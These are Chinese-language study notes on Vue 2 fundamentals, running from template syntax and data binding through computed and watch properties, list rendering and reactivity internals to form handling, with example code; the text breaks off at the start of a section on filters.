一、Vue核心
1、初识Vue
<div id="root">
<h1>hello,{{name}}</h1>
</div>
<script>
Vue.config.productionTip = false;//阻止vue在启动时生成生产提示
//创建vue实例
new Vue({
el: "#root",//el用于指定当前vue实例为哪个容器服务,值通常为css选择器字符串
data: {//data中用于存储数据,数据供el所指定的容器去使用
name: "dexter"
}
});
</script>
(1)想让vue工作,必须创建一个vue实例,且要传入一个配置对象
(2)root容器里的代码依然符合html规范,只不过混入了一些特殊的vue语法
(3)root容器里的代码被称为vue模板
(4)vue实例和容器是一一对应的(即使使用了类绑定为多个容器匹配同一个vue实例,vue只会匹配第一个容器)
(5)真实开发中只有一个vue实例,并且会配合着组件一起使用
(6){{xxx}}中的xxx要写成js表达式,且xxx可以自动读取到data中的所有属性
注意区分js表达式和js语句(代码):
-
js表达式
一个表达式会产生一个值,可以放在任何一个需要值的地方
aa+bdemo(1)x === y ? "a" : "b"
-
js语句(代码)
if(){}for(){}
(7)一旦data中的数据发生了变化,那么页面中用到该数据的地方也会自动更新
2、Vue模板语法
<div id="root">
<h1>差值语法</h1>
<h3>hello,{{name}}</h3>
<hr>
<h1>指令语法</h1>
<a v-bind:href="url">百度一下</a>
<a :href="url">百度两下</a><!-- :为v-bind的语法糖 -->
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "dexter",
url: "https://www.baidu.com"
}
});
</script>
Vue中的模板语法有两大类
-
插值语法
功能:用于解析标签体内容
写法:
{{xxx}},xxx要写成js表达式,且xxx可以自动读取到data中的所有属性 -
指令语法
功能:用于解析标签,包括标签属性、标签体内容、绑定事件等
备注:vue中有很多指令语法,这里只是使用了
v-bind举例
3、数据绑定
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name"><br>
双向数据绑定:<input type="text" v-model:value="name"><br>
v-model语法糖:<input type="text" v-model="name">
<!-- 下面的写法会报错,v-model只能对表单类元素的属性进行绑定 -->
<h2 v-model:x="name">hello,{{name}}</h2>
</div>
<script>
Vue.config.productionTip = true;
new Vue({
el: "#root",
data: {
name: "dexter"
}
});
</script>
Vue中有两种数据绑定的方式:
-
单向绑定
v-bind数据只能从data流向页面 -
双向绑定
v-model数据不仅能从data流向页面,还能从页面流向data,即修改了页面中的值同时data中的值也会跟着改变 -
注意
双向绑定一般都应用在表单类元素上,如input、select等
v-model:value可以简写成v-model,因为v-model默认收集的是value的值
4、el与data的两种写法
(1)外部绑定容器
<div id="root">
<h1>hello,{{name}}</h1>
</div>
<script>
Vue.config.productionTip = false;
const v = new Vue({
data: {
name: "dexter"
}
});
console.log(v);
v.$mount("#root");//第二种方法
</script>
el的两种写法
- 在
new Vue时配置el属性 - 先创建
Vue实例,随后再通过v.$mount("#root")指定el的值
两种写法在开发中都可以写
(2)data的函数式写法
<div id="root">
<h1>hello,{{name}}</h1>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: function(){//data的第二种写法
console.log(this);//此时的this是Vue的实例对象
return {
name: "dexter"
}
}
});
</script>
data的两种写法:
- 对象式
- 函数式
将Vue嵌入到htm代码中的写法时用对象式和函数式都可以,但是如果进行组件化开发时则必须使用函数式,否则会报错。这是因为组件是一个可复用的Vue实例,一个组件被创建好之后,就可能被用在各个地方,而组件不管被复用多少次,组件中data数据都应该是相互隔离,互不影响的,基于这一理念,组件每复用一次,data数据就会被复制一次,也就是说如果data是一个函数的话,那么我们每次创建一个新的实例之后,就会调用一个新的data函数。也就是给每一个data数据定义一个新的内存地址。这样的话,修改A而不会影响B.
注意:
由Vue管理的函数,一定不要写箭头函数一旦写了箭头函数,this就不再指向Vue实例了。上例中如果将data后面的函数写成了箭头函数,那么函数中的this就会指向了window,可能会导致程序运行出错。
由于data后面的函数必须由
function声明,可以对其简化,去掉function关键字,Vue实例的声明可以写成以下的形式new Vue({ el: "#root", data(){ return { name: "dexter" } } });
5、MVVM模型
MVVM是Model-View-ViewModel的简写
- M:模型(Model),指data中的数据
- V:视图(View),模板代码
- VM:视图模型(ViewModel),Vue实例
观察发现,data中的所有属性,最后都出现在了Vue实例身上,Vue实例身上的所有属性,以及Vue原型上的所有属性,在Vue模板中都可以直接使用。
6、数据代理
(1)原生数据代理
let obj1 = {x: 1};
let obj2 = {y: 2};
//通过下面这种方式,将obj1中的数据和obj2中的数据绑定在一起
//改变obj2中的x的值时obj1中的x的值也会跟着改变
Object.defineProperty(obj2, "x", {
get(){
return obj1.x;
},
set(value){
obj1.x = value;
}
})
(2)Vue中的数据代理
<div id="root">
<h1>名称:{{name}}</h1>
<h2>地址:{{address}}</h2>
</div>
<script>
const vm = new Vue({
el: "#root",
data(){
return{
name: "dexter",
address: "handan"
}
}
});
console.log(vm);
</script>
通过console.log语句所输出的vm为Vue的实例对象,结果如下图所示:
data中所编写的属性address和name都被添加到了Vue实例中,并为其添加了对应的get和set方法。这两个属性都是通过defineProperty进行定义的,当有人访问vm身上的name时(即点击name后面的三个点时),name对应的getter开始工作,把data中的name拿过来使用,如果要通过vm修改name时,name所对应的setter开始工作,更改data中的name值。
下面对上图中的两条线进行验证
-
红色线
在控制台执行语句
vm.name命令时即在调用getter方法,使用data中的name值输出,当data中的name值发生改变时,再次执行命令vm.name的值也会跟着改变。 -
蓝色线
在控制台执行语句
vm.name = "emma"命令时即在调用setter方法,会将data中的name的值改为emma,data中属性值的变化也会触发页面中值的变化。
在data中所添加的属性对应着vm上的_data属性,在拿到vm之后,通过getter读取_data里面的name和address,并将其添加到vm身上,如果更改了vm上的name和address的值,就通过setter映射到_data中实现双向绑定。实现数据代理的本质就是利用了Object.defineProperty()来实现的。
总结Vue中的数据代理:
- 通过vm对象来代理data对象中属性的操作(读/写)
- 作用:更加方便的操作data中的数据
- 基本原理:通过
Object.defineProperty()把data对象中所有属性添加到vm上,为每一个添加到vm上的属性都指定一个getter/setter,在getter/setter内部去操作(读/写)data中对应的属性。
7、事件处理
(1)事件的基本使用
<div id="root">
<button v-on:click="showInfo1">点我提示信息1(不传参) </button>
<button @click="showInfo2($event, 777)">点我提示信息2(传参)</button>
</div>
<script>
const vm = new Vue({
el: "#root",
methods: {
showInfo1(event){
console.log(event.target.innerText);//点我提示信息1(不传参)
console.log(this === vm); //true
alert("hello!");
},
showInfo2(event, num){
console.log(event,num);//PointerEvent{...} 777
alert("hello!!");
}
}
})
</script>
- 使用
v-on:xxx或者@xxx来绑定事件,其中xxx是事件名 - 事件的回调函数需要配置在
methods方法中,最终会被添加到vm上 注意: 回调函数如果配置在了data中,程序也能执行,且不会报错,但是会像data中的其他参数一样为函数配置数据代理和数据劫持,但是这样做是毫无意义的,无形中增加了运行负担。 methods中配置的函数,不要使用箭头函数,否则this就不是vm了methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或者组件实例对象@click = "demo"中对demo函数的调用加不加()都可以,但是加了()可以对回调函数传递参数。在参数列表中,如果只传递一个参数,则默认是事件对象,如果传递了多个参数,则默认不会传递事件对象,可以使用$event对事件对象进行占位。
(2)事件修饰符
Vue中的事件修饰符:
.prevent:阻止默认事件.stop:阻止事件冒泡.once:事件只触发一次.capture:使用事件的捕获模式.self:只有event.target是当前操作的元素时才触发事件.passive:事件的默认行为立即执行,无需等待事件回调执行完毕
<div id="root">
<!-- 在确认弹窗信息之后取消默认跳转 -->
<a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 阻止事件冒泡 -->
<div @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- 多次点击事件只会触发一次 -->
<button @click.once="showInfo">点我提示信息</button>
<!-- 在捕获阶段触发事件(点击按钮会先输出1再输出2) -->
<div @click.capture="showInfo(1)">
<button @click="showInfo(2)">点我提示信息</button>
</div>
<!-- 只有event.target是当前操作的元素时才触发事件 -->
<div @click.self="showInfo(1)">
<button @click="showInfo(2)">点我提示信息</button>
</div>
<!-- 事件的默认行为为立即执行,无需等待事件回调执行完毕 -->
<!-- 这里如果没有加.passive则滑动鼠标滚轮时会先执行函数中demo,只有回调函数执行完毕后
页面才会根据滚轮操作做出响应,加了.passive之后则页面会先响应再执行回调 -->
<ul style="height: 100px; width: 100px; overflow: auto;" @wheel.passive="demo">
<li style="height: 30px;">1</li>
<li style="height: 30px;">1</li>
<li style="height: 30px;">1</li>
<li style="height: 30px;">1</li>
<li style="height: 30px;">1</li>
</ul>
</div>
<script>
new Vue({
el: "#root",
methods: {
showInfo(num){
console.log(num);
alert("hello");
},
demo(){
for(var i = 0; i<10000000; i++){
console.log(i);
}
}
}
})
</script>
备注:
事件的修饰符可以连续写,比如上例中如果既要组织冒泡,又要阻止默认跳转事件,可以写成下面的形式:
<!-- 先阻止冒泡,再阻止默认跳转 -->
<div @click="showInfo">
<a href="https://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</a>
</div>
(3)键盘事件
1)Vue中常用的按键别名
- 回车:
enter - 删除:
delete(按下"delete"键和"backspace"键都会触发) - 退出:
esc - 空格:
space - 换行:
tab(由于Tab键会失去焦点,因此必须配合keydown使用) - 上:
up - 下:
down - 左:
left - 右:
right
<div id="root">
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
</div>
<script>
new Vue({
el: "#root",
methods: {
showInfo(e){
console.log(e.target.value);
}
}
})
</script>
Vue中没有提供别名的按键,可以使用按键原始的key值去绑定,但要注意转为kebab-case(短横线命名),如按键名"CapsLock"要写成caps-lock,例:
<input type="text" placeholder="按下回车提示输入" @keyup.caps-lock="showInfo">
2)系统修饰符ctrl、alt、shift、meta(win)用法特殊
-
配合
keyup使用时:按下修饰键的同时,再按下其他键,随后释放其他键,事件才会触发如果想在指定的组合键按下之后触发事件,比如:"ctrl+y"提示信息,则可以像下面这样编写代码:
<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo"> -
配合
keydown使用时:正常触发事件
3)也可以使用keycode去指定具体的按键(不推荐)
MDN中提示:已废弃: 该特性已经从 Web 标准中删除,虽然一些浏览器目前仍然支持它,但也许会在未来的某个时间停止支持,请尽量不要使用该特性。
<input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo">
4)自定义键名(不推荐)
通过Vue.config.keyCodes.自定义键名 = 键码可以定制按键别名
<input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo">
...
Vue.config.keyCodes.huiche = 13;
8、计算属性
(1)两个反例
1)插值语法
<div id="root">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
<!-- 截取姓前三位 -->
全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>
</div>
<script>
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三"
}
})
</script>
这样编写代码完全可以实现相应的功能,但是Vue强烈建议组件模板应该只包含简单的表达式
2)methods
<div id="root">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
全名:<span>{{fullName()}}</span>
</div>
<script>
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三"
},
methods: {
fullName(){
var firstName = this.firstName.slice(0,3);
return firstName+"-"+this.lastName;
}
}
})
</script>
使用methods对上面的例子进行改进,简化了插值语法。但是有一个缺点是,当网页结构中多出地方都需要用到fullName的值时,每次都会调用一次fullName函数,如果该函数复杂,则会增大程序的开销。
(2)引入计算属性
计算属性的定义:要使用的属性不存在,需要通过已有的属性计算得来
计算属性的原理:底层借助了Object.defineproperty方法提供的getter和setter
<div id="root">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
全名:<span>{{fullName}}</span>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三"
},
computed: {
fullName: {
get(){
return this.firstName+"-"+this.lastName;
},
set(value){
const arr = value.split("-");
this.firstName = arr[0];
this.lastName = arr[1];
}
}
}
})
</script>
程序中fullName同样会被放在vm身上,因此可以直接在插值语法中使用。fullName中需要编写get和set函数,其中set函数需要传入参数,且不是必须写的。
当有人读取fullName时,get就会调用,将返回值作为fullName的值保存在vm中。get方法调用的时机:初次读取fullName时;所依赖的数据发生变化时。
set方法调用的时机,当fullName被调用时
计算属性的优势:与methods方法相比,计算属性内部有缓存机制,如果其所依赖的属性值没有发生改变时,无论结构中使用了多少次,fullName都只会计算一次,效率更高。
备注:
如果计算属性要被修改,那必须写
set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
(3)计算属性的简写
只有当只考虑读取,不考虑修改的时候才能使用简写形式。
<div id="root">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
全名:<span>{{fullName}}</span>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三"
},
computed: {
fullName(){
return this.firstName+"-"+this.lastName;
}
}
})
</script>
9、监视属性
(1)监视属性的两种写法
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWether">切换天气</button>
<!-- 绑定事件的时候可以将简单的语句直接写在标签内 -->
<button @click="isHot = !isHot">切换天气</button>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
isHot: true
},
methods: {
changeWether(){
this.isHot = !this.isHot;
}
},
computed: {
info(){
return this.isHot ? "炎热" : "凉爽";
}
},
watch: {
isHot: {
immediate: true,
handler(newValue, oldValue){
console.log("siHot被修改了",newValue,oldValue);
}
}
}
})
</script>
如果在编写Vue实例时不确定要监视的属性,可以在Vue实例创建完成后对实例中的属性值变化进行监视,如下面这种写法:
vm.$watch("isHot",{
immediate: true,
handler(newValue, oldValue){
console.log("siHot被修改了",newValue,oldValue);
}
})
两种监视方法大致相同。Vue中的监视属性可以对data和computed中的属性进行监视,当所监视的属性值发生改变时会调用handler函数,可以为该函数传入两个参数,第一个是改变后的新值,第二个是之前的值。如果想要监视函数在程序初始化的时候执行一次,可以使用immediate: true语句。
备注: 所监视的属性必须存在,但是如果监视了不存在的属性并不会报错。
(2)深度监视
Vue中的watch默认不监视对象内部值的改变,配置deep: true可以监测对象内部值的改变
Vue自身可以监测对象内部值的改变,但Vue所提供的watch默认不可以。使用watch时根据数据的具体结构,决定是否采用深度监视。
<div id="root">
<h2>a的值是:{{numbers.a}}</h2>
<button @click="numbers.a++">点我a的值+1</button>
<h2>b的值是:{{numbers.b}}</h2>
<button @click="numbers.b++">点我b的值+1</button>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
numbers: {
a:1,
b:2
}
},
watch: {
numbers: {
immediate: true,
deep: true,
handler(newValue, oldValue){
console.log("numbers被修改了",newValue,oldValue);
}
}
}
})
</script>
(3)监视属性的简写形式
如果在监视属性中不需要深度监视和初始化监视,则可以写简写形式
-
如果是在Vue实例中监视属性
watch: { isHot(newValue, oldValue){ console.log("isHot被修改了",newValue,oldValue); } } -
如果是在实例外部监测属性变化
vm.$watch("isHot", function(newValue, oldValue){ console.log("isHot被修改了",newValue,oldValue); })
10、计算属性与监视属性的对比
将前面计算属性中的姓名拼接案例使用监视属性进行编写如下:
<div id="root">
姓:<input type="text" v-model="firstName"><br>
名:<input type="text" v-model="lastName"><br>
姓名:<span>{{fullName}}</span>
</div>
<script>
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
fullName: "张-三"
},
watch: {
firstName(val){
this.fullName = val + "-" +this.lastName;
},
lastName(val){
this.fullName = this.firstName + "-" + val;
}
}
})
</script>
单从这个案例来看,使用计算属性效率更高一些
但是如果想对属性值执行一些异步操作之后再返回时两种写法就产生了差异
-
监视属性实现异步
watch: { firstName(val){ setTimeout(()=> { this.fullName = val + "-" +this.lastName; },2000) }, lastName(val){ this.fullName = this.firstName + "-" + val; } }注意:
setTimeout中的函数一定要写成箭头函数的形式。因为setTimeout不是由Vue托管的函数,而是由js引擎托管的函数,如果写成了普通函数,由于普通函数有自己的this,则定时器内的this就指向了window,则对下面的属性值进行操作就会出错。而如果将定时器中的函数写成箭头函数,由于箭头函数没有自己的this,在定义的时候就绑定了上层作用域中的this,而上层作用域为firstName函数,正是由Vue所托管的函数,this即为所创建的Vue实例。 -
计算属性不能够实现异步操作
computed: { fullName(){ setTimeout(()=>{ return this.firstName+"-"+this.lastName; },2000) } }注意: 不能够将计算属性写成上面的形式,因为无法将定时器函数内得到的值返回给
fullName函数
computed和watch之间的区别:
computed能完成的功能watch都能完成watch能完成的功能,computed不一定能够完成,比如watch可以进行异步操作
两个重要的原则:
- 所有被Vue管理的函数,最好写成普通函数,这样
this的指向才是Vue实例或组件实例对象 - 所有不被Vue所管理的函数(定时器函数、ajax回调函数、Promise的回调函数等),最好写成箭头函数,这样
this的指向才是Vue实例或组件实例对象
11、class与style绑定
在style标签中定义了如下样式:
.size{
width: 300px;
height: 100px;
border: 1px solid black;
}
.font_size_small{
font-size: 15px;
color: blue;
}
.font_size_normal{
font-size: 25px;
color: blueviolet;
}
.font_size_large{
font-size: 35px;
color: brown;
}
.font_color{
color: aqua;
}
.bg_color{
background-color: burlywood;
}
.border{
border-radius: 20%;
}
(1)绑定class样式
-
字符串写法
<div id="root"> <div class="size" :class="mood" @click="changeMood">{{name}}</div> </div> <script> new Vue({ el: "#root", data: { name: "dexter", mood: "font_size_normal" }, methods: { changeMood(){ const arr = ["font_size_large","font_size_small","font_size_normal"]; const index = Math.floor(Math.random()*3); this.mood = arr[index]; } }, }) </script>适用于样式类名不确定,需要动态指定
-
数组写法
<div id="root"> <div class="size" :class="classArr">{{name}}</div> </div> <script> new Vue({ el: "#root", data: { name: "dexter", classArr: ["font_color","bg_color","border"] } }) </script>适用于要绑定的样式个数不确定,名字也不确定
-
对象写法
<div id="root"> <div class="size" :class="classObj">{{name}}</div> </div> <script> new Vue({ el: "#root", data: { name: "dexter", classObj: { font_size_normal: false, bg_color: false } } }) </script>适用于要绑定的样式个数确定,名字也确定,但要动态决定用不用
(2)绑定style样式
-
对象写法
<div id="root"> <div class="size" :style="styleObj">{{name}}</div> </div> <script> new Vue({ el: "#root", data: { name: "dexter", styleObj: { fontSize: "40px", backgroundColor: "red" } } }) </script> -
数组写法
<div id="root"> <div class="size" :style="styleObj">{{name}}</div> </div> <script> new Vue({ el: "#root", data: { name: "dexter", styleArr: [ { fontSize: "40px", color: "blue" },{ backgroundColor: "green" } ] } }) </script>
12、条件渲染
(1)v-show
<h2 v-show="false">{{name}}</h2>
v-show的特点是当其参数为false时,不会改变网页的结构,只是为标签添加了样式style="display: none;,适合切换频率较高的场景使用。
(2)v-if
<div id="root">
<h2>当前n的值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<div v-if="n===1">angular</div>
<div v-else-if="n===2">react</div>
<div v-else-if="n===3">vue</div>
<div v-else>others</div>
<template v-if="n===1">
<h2>hello</h2>
<h2>dexter</h2>
<h2>jun</h2>
</template>
</div>
<script>
new Vue({
el: "#root",
data: {
n: 0
}
})
</script>
v-if进行条件渲染的特点是如果参数的值是false,则会将该DOM元素从网页中移除,适用于切换频率较低的场景,值得注意的是,v-if与v-else-if、v-else配合使用时,必须写在一起,不能够中断,如果中断则会报错。
备注:
templete标签只能配合v-if使用,不能和v-show使用。在条件为真后不会在网页DOM结构中出现。使用v-if时元素可能无法获取,而使用v-show元素一定可以获取。
13、列表渲染
(1)基本列表渲染
-
遍历数组
<div id="root"> <ul> <li v-for="(p,index) in persons" :key="p.id">{{index}}-{{p.name}}-{{p.age}}</li> </ul> </div> <script> new Vue({ el: "#root", data: { persons: [ {id: 1, name: "dexter", age: 14}, {id: 2, name: "jun", age: 15}, {id: 3, name: "cao", age: 16} ] } }) </script>代码中的
p表示数组中的每一项,index表示该项在数组中的索引,也可以不写索引简写为v-for="p in persons"的形式 -
遍历对象
<div id="root"> <ul> <li v-for="(value,key) of car">{{key}}-{{value}}</li> </ul> </div> <script> new Vue({ el: "#root", data: { car: { name: "audi", price: "70" } } }) </script>代码中的
key对应的是对象中的键,value对应的是该键在对象中的值,如果不需要获取键的值可以简写为v-for="value of car"的形式 -
遍历字符串
<div id="root"> <ul> <li v-for="(s,index) of str">{{index}}-{{s}}</li> </ul> </div> <script> new Vue({ el: "#root", data: { str: "hello" } }) </script>代码中的
s表示字符串中的每个字符,index表示每个字符的索引,如果不需要索引可以简写为v-for="s of str"的形式 -
遍历指定次数
<div id="root"> <ul> <li v-for="(number,index) of 5">{{index}}-{{number}}</li> </ul> </div> <script> new Vue({ el: "#root" }) </script>
注: v-for语句使用关键字of或者in都是可以的。
(2)key值的原理
<div id="root">
<button @click.once="add">添加一个人</button>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{index}}-{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
</div>
<script>
new Vue({
el: "#root",
data: {
persons: [
{id: "001", name: "张三", age: 18},
{id: "002", name: "李四", age: 19},
{id: "003", name: "王五", age: 20}
]
},
methods: {
add(){
const p = {id: "004", name: "老刘", age: 30};
this.persons.unshift(p);
}
},
})
</script>
key的内部原理:
1)虚拟DOM中key的作用
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据新数据生成新的虚拟DOM。随后Vue进行新的虚拟DOM与旧的虚拟DOM的差异比较。
2)虚拟DOM对比规则
-
旧的虚拟DOM中找到了与新虚拟DOM相同的key
- 如果虚拟DOM中内容没有变,直接使用之前的真实DOM
- 如果虚拟DOM中的内容变了,则生成新的真实DOM,随后替换掉页面中的真实DOM
-
旧的虚拟DOM没有找到与新的虚拟DOM相同的key
创建新的真实DOM,随后渲染到页面
3)使用index作为key可能会引发的问题
- 如果对数据进行了逆序添加、逆序删除等破坏顺序的操作,会产生没有必要的真实DOM更新,对于界面的展示没有差别,但是会增加渲染,降低效率。
- 如果结构中包含了输入类的DOM且对其进行了破坏顺序的操作,会产生错误的DOM更新,导致界面展示出错。
4)key值的选取
开发过程中,最好使用每条数据的唯一标识作为key
如果不对数据进行破坏顺序的操作,仅用于渲染列表展示,则使用index作为key是没有问题的。
(3)列表过滤
效果:输入框中输入关键字后,匹配名字,只显示名字中有关键字的项
-
监视属性实现
<div id="root"> <input type="text" placeholder="请输入名字" v-model="keywords"> <ul> <li v-for="(p,index) in filter_persons" :key="p.id"> {{index}}-{{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> new Vue({ el: "#root", data: { keywords: "",//保存输入的关键字 persons: [ {id: "001", name: "马冬梅", age: 14, sex: "女"}, {id: "002", name: "周冬雨", age: 15, sex: "女"}, {id: "003", name: "周杰伦", age: 16, sex: "男"}, {id: "004", name: "温兆伦", age: 17, sex: "男"} ], filter_persons: [] //保存要显示在页面上的数据 }, watch: { keywords: { immediate: true,//保证在页面初始化时进行了一次过滤 handler(val){ this.filter_persons = this.persons.filter((p)=>{ return p.name.indexOf(val) !== -1; }); } } } }) </script> -
计算属性实现
<div id="root"> <input type="text" placeholder="请输入名字" v-model="keywords"> <ul> <li v-for="(p,index) in filter_persons" :key="p.id"> {{index}}-{{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> new Vue({ el: "#root", data: { keywords: "", persons: [ {id: "001", name: "马冬梅", age: 14, sex: "女"}, {id: "002", name: "周冬雨", age: 15, sex: "女"}, {id: "003", name: "周杰伦", age: 16, sex: "男"}, {id: "004", name: "温兆伦", age: 17, sex: "男"} ] }, computed: { filter_persons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keywords) !== -1; }); } } }) </script>
对比可以看出,计算属性比监视属性要简单许多。
(4)列表排序
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keywords">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) in filter_persons" :key="p.id">
{{index}}-{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
new Vue({
el: "#root",
data: {
keywords: "",
sortType: 0, //0:原顺序;1:年龄降序;2:年龄升序
persons: [
{id: "001", name: "马冬梅", age: 15, sex: "女"},
{id: "002", name: "周冬雨", age: 13, sex: "女"},
{id: "003", name: "周杰伦", age: 16, sex: "男"},
{id: "004", name: "温兆伦", age: 10, sex: "男"}
]
},
computed: {
filter_persons(){
const arr = this.persons.filter((p)=>{
return p.name.indexOf(this.keywords) !== -1;
});
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age;
});
}
return arr;
}
}
})
</script>
14、Vue中监测数据变化的原理
(1)列表更新时遇到的问题
<div id="root">
<button @click="updateMei">更新马冬梅信息</button>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{index}}-{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
persons: [
{id: "001", name: "马冬梅", age: 15, sex: "女"},
{id: "002", name: "周冬雨", age: 13, sex: "女"},
{id: "003", name: "周杰伦", age: 16, sex: "男"},
{id: "004", name: "温兆伦", age: 10, sex: "男"}
]
},
methods: {
updateMei(){
//this.persons[0].name = "马老师";
this.persons[0] = {id: "001", name: "马老师", age: 15, sex: "女"}
}
},
})
</script>
在updateMei函数中如果将更新数据的数据写成this.persons[0].name = "马老师",那么数据就可以正常更新;如果写成this.persons[0] = {id: "001", name: "马老师", age: 15, sex: "女"}会发现vm中的数据已经更新了,但是页面上的数据并没有更新。
(2)Vue中监测对象中数据变化的原理
let data = {
name: "dexter",
age: 25
}
const obs = new Observer(data);
console.log(obs);
//准备一个实例对象
let vm = {};
vm._data = data = obs;
function Observer(obj){
//汇总对象中所有的属性形成一个数组
const keys = Object.keys(obj);
keys.forEach((k)=>{
Object.defineProperty(this,k,{
get(){
return obj[k];
},
set(val){
obj[k] = val;
console.log(`${k}被修改了`);
}
})
})
}
上述代码模拟了Vue中对于对象的第一层数据代理
但是Vue中对数据进行了深层次的处理,无论有多少层的对象嵌套,都能为其添加getter和setter,如data中的数据为:
data: {
name: "dexter",
age: 25,
stu:{
name: "tom",
age: {
rage: 40,
sage: 28
}
},
friends: [{name: "jerry", age: 35}]
}
浏览器中Vue实例为:
在Vue中为每一个对象中的每一个属性都绑定了get和set方法,当需要获取或者修改数据时都会先调用对应的方法来实现数据的动态更新。
(3)更新数据的接口
例:
点击按钮增加性别
注意:Vue中通过vm.stu.sex = "男"可以为data的stu对象添加一个sex属性,但是仅仅是添加了一个属性,并不会为这个属性绑定get和set方法,所以即使添加了也不会引起页面的更新。Vue提供了Vue.set()函数来为对象中动态的添加属性,需要为其传入三个参数,第一个是参数对象名,后面两个参数分别为要添加的属性名和属性值。
<div id="root">
<h2>name: {{name}}</h2>
<h2>age: {{age}}</h2>
<button @click="addSex">添加性别(默认男)</button>
<h2>姓名:{{stu.name}}</h2>
<h2 v-if="stu.sex">性别:{{stu.sex}}</h2>
<h2>年龄:真实{{stu.age.rage}},对外{{stu.age.sage}}</h2>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
name: "dexter",
age: 25,
stu:{
name: "tom",
age: {
rage: 40,
sage: 28
}
},
hobby: ["sing", "play", "coding"]
},
methods: {
addSex(){
//Vue.set(this.stu, "sex", "男")
this.$set(this.stu, "sex", "男")//添加一个数据
//Vue.delete(this.stu.age, "rage")
this.$delete(this.stu.age, "rage")//删除一个数据
this.hobby.splice(0, 1, "runing")//更新数组中的数据
}
},
})
</script>
备注:
Vue.set与this.$set有相同的作用。但是,值得注意的是,Vue.set方法只能为data中的对象添加属性,但是却不能够为data直接添加属性。如果添加了,Vue会报错不允许添加一个响应式的数据在Vue实例身上。
(4)Vue中监测数组中数据变化的原理
Vue默认会对data中的所有对象和对象数据进行深层次的代理,为每一个对象和数组都添加了getter和setter属性,但是却不会为数组中的项配置相应的getter和setter(如下图所示)。所以在列表更新问题中使用this.persons[0] = {id: "001", name: "马老师", age: 15, sex: "女"}来更新数组并不会触发响应式。
如果在Vue中想更新数组中的数据,可以使用数组“原生”的方法:push()、pop()、shift()、unshift()、splice()、sort()、reverse(),这7个方法都是可以更改原数组的方法。之所以使用这些方法能够对数组中的数据进行响应式绑定是因为Vue对这些原生的数组方法进行了一层包装,虽然方法名相同,但并不是同一个方法。在控制台执行vm._data.student.friends.push === Array.push结果为false
15、Vue收集表单数据
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="account"><br>
密码:<input type="password" v-model="password"><br><br>
性别:
男<input type="radio" name="sex" value="male" v-model="sex">
女<input type="radio" name="sex" value="female" v-model="sex"><br><br>
年龄:<input type="number" v-model.number="age"><br><br>
爱好:
学习<input type="checkbox" value="study" v-model="hobby">
打游戏<input type="checkbox" value="game" v-model="hobby">
吃饭<input type="checkbox" value="eat" v-model="hobby"><br><br>
城市:
<select v-model="city">
<option value="">请选择城市</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select><br><br>
其他信息:
<textarea v-model.lazy="other"></textarea><br><br>
<input type="checkbox" v-model="agree">阅读并接受
<a href="https://www.baidu.com">《用户协议》</a><br><br>
<button>提交</button>
</form>
</div>
<script>
new Vue({
el: "#root",
data: {
account: "",
password: "",
sex: "",
age: 0,
hobby: [],
city: "",
other: "",
agree: false
},
methods: {
demo(){
alert(1)
}
}
})
</script>
如果输入框的type类型为text,则v-model收集的是输入的value值
如果输入框的type类型为radio,则v-model收集的是所选中的value值,这里要为每个标签配置value值
如果输入框的type类型为checkbox
-
此时如果没有配置
value属性,则v-model收集到的就是checked的值,即该选项是否勾选的布尔值。 -
如果配置了
value属性- 如果
v-model的初始值为非数组,则收集到的值还是checked - 如果
v-model的初始值为数组,则收集到的值就是所配置的value值
- 如果
备注: v-model的三个修饰符
lazy当输入框失去焦点时收集数据;number将字符串转为有效的数字;trim去除输入的首尾空格。
16、过滤器
<div id="root">
<h3>computed格式化时间:{{fmtTime}}</h3>
<h3>methods格式化时间:{{getFmtTime()}}</h3>
<h3>过滤器格式化时间:{{time | timeFormater}}</h3>
